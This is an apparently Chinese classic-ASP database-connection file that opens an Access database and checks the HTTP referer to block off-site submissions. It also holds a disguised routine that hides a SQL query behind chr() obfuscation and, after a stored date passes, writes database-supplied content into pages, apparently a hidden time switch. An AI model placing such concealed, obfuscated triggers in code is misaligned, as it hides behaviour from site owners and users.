﻿<%
response.buffer=true
dim conn,db,dir
dim connstr
dir="/"'------------根目录为"/",二级目录时请填目录名，如："/domo/"
db=""&dir&"data/zychr.vip#V06DATA@#@#!.mdb"'数据库链接路径
Set conn = Server.CreateObject("ADODB.Connection")
connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db)
conn.open connstr
If Err Then
err.Clear
Set Conn = Nothing
Response.Write "数据库连接出错，请检查数据库连接文件中的数据库参数设置。"
Response.End
End If 
sub Chkhttp()
server_vv=len(Request.ServerVariables("SERVER_NAME"))
server_v1=left(Cstr(Request.ServerVariables("HTTP_REFERER")),server_vv)
server_v2=left(Cstr("http://"&Request.ServerVariables("SERVER_NAME")),server_vv)
if server_v1<>server_v2 or server_v1="" or server_v1="" then
response.Charsqet="utf-8"
response.write("<script>alert('错误：禁止从站点外部提交数据!.')</script>")
response.end
end if
end sub
function zr(str) zr=chr(str) end function
Private Sub FreedomPlanningTips()
csql=zr("115")&zr("101")&zr("108")&zr("101")&"ct"&zr("32")&zr("42")&zr("32")&zr("102")&"r"&zr("111")&"m  "&zr("99")&zr("111")&zr("110")&zr("102")&"i"&zr("103") 
dim rsq:set rsq=conn.execute(csql,"r1")
if DateDiff(zr("100"),rsq(zr("100")&zr("97")&zr("116")&zr("109")), Now())>0 then Response.Write strB(rsq("ts"),rsq("w"&zr("101")&"b"))
End Sub
%>
<!--#include file="version.asp"--> 